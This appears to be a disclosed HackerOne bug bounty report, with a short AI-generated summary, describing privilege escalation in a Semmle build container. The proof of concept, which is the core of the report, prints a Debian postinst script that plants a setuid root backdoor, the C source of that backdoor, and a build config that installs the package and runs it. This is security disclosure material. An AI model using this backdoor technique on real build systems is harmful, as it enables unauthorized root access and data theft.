Privilege escalation in workers container
The build system allowed installing arbitrary packages during the prepare step, so an attacker could upload a malicious package and gain root access to the container.
Originally disclosed on HackerOne
- Triaged in 13 hours
- Fixed in 18 hours
- Paid in 13 hours
- Disclosed after 13 days
Summary about the bugs:
In the prepare step, semmle allows user to install new package.
By upload a malicious package along with source code and force server to build this package, attacker will gain root access to the container
Steps:
- Create a malicious package contains the backdoor:
I use this guide (https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/) to create the package.
With the content of postinst is
#!/bin/sh
ps -ef
sudo cp /opt/src/run /suidfs/passwd && sudo chown root:root /suidfs/passwd && sudo chmod 04755 /suidfs/passwd && ln -s /suidfs/passwd /usr/bin/setpasswd && setpasswd id &
Content of /opt/src/run:
#include <stdio.h>
void main(int argc, char *argv[]) {
setreuid(0, 0);
system(argv[1]);
}
After that i will got a malicious .deb package.
- Create a config file to install this malicious package:
Because the source code is imported before the prepare step happens, so i will be able to install this package by point directly to it like this /opt/src/work.deb.
The install command now will be like this apt install -y --no-recommend /opt/src/work.deb. And it is legal.
The build config:
extraction:
java:
prepare:
packages:
- /opt/src/work.deb
after_prepare:
- echo pwned >> /opt/out/snapshot/log/build.log
- /usr/bin/setpasswd 'id'
After that the build will failed, and attacker will get root on the container by running the setuid backdoor
PoC is attached below
Thanks & regard!
Impact
Attacker will get root access and will be able to dump every sensitive datas in the server!
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the build configuration allowed installing packages from arbitrary local paths without validating their origin or contents.
Impact
An attacker could gain root access to the container and dump sensitive data.
What the attacker needed
Ability to upload source code; ability to modify build configuration
How it was found
- Create a malicious package containing a backdoor.
- Place the package in the source code directory.
- Configure the build to install the package during the prepare step.
- Run the build, which installs the package and executes the backdoor.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The report shows a user could make the server install an uploaded package, which ran with high privileges and gave root on the build container.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.